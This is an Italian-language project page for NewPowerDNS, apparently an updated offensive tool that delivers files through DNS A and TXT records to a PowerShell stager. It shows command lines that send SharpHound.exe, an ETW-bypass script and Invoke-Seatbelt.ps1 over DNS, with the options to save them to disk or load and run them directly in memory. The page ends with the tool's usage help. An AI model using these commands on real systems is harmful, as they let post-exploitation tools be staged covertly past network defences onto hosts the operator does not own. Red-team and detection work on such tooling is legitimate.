
Versione aggiornata di PowerDNS di @domchell. Aggiunge il supporto per i trasferimenti tramite record DNS A e alcune altre funzionalità utili.
NewPowerDNS è una versione aggiornata di @domchell's PowerDNS. La principale funzionalità aggiunta è il supporto per il trasferimento di file tramite record DNS A. Di seguito è riportato un elenco completo delle modifiche apportate:
L'unica dipendenza oltre a python3 è scapy. Può essere facilmente installato tramite pip in questo modo:
python3 -m pip install scapy
Guarda qui sotto un video che dimostra il trasferimento di file tramite record DNS A e TXT:
Trasferisci lo script PowerShell tramite record DNS A e stampalo sulla console:
python3 NewPowerDNS.py --file AmSeeETWBP.ps1 --domain sub.domain.com -r A -a print
Trasferisci il file exe tramite record DNS TXT e salvalo su disco:
python3 NewPowerDNS.py --file SharpHound.exe --domain sub.domain.com -r TXT -a save
Trasferisci lo script PowerShell tramite record DNS TXT e caricalo automaticamente in memoria:
python3 NewPowerDNS.py --file Invoke-Seatbelt.ps1 --domain sub.domain.com -r TXT -a exec
Utilizzo generale:
___ ___ _ _ ___
| . \ ___ _ _ _ ___ _ _ | . \| \ |/ __>
| _// . \| | | |/ ._>| '_>| | || |\__ \
|_| \___/|__/_/ \___.|_| |___/|_\_|<___/
DNS A Record & updated stager version by @icyguider
Original version by @domchell
usage: NewPowerDNS.py [-h] [-f <file>] [-d <domain>] [-a <action>] [-r <record-type>] [-i <interface>]
optional arguments:
-h, --help show this help message and exit
-f <file>, --file <file>
file to transfer
-d <domain>, --domain <domain>
domain with auth NS record
-a <action>, --action <action>
action to perform once data is transferred (options: save, exec, print)
-r <record-type>, --record-type <record-type>
type of DNS record to use for transfer (options: A, TXT) (default: TXT)
-i <interface>, --interface <interface>
interface to bind to (default: eth0)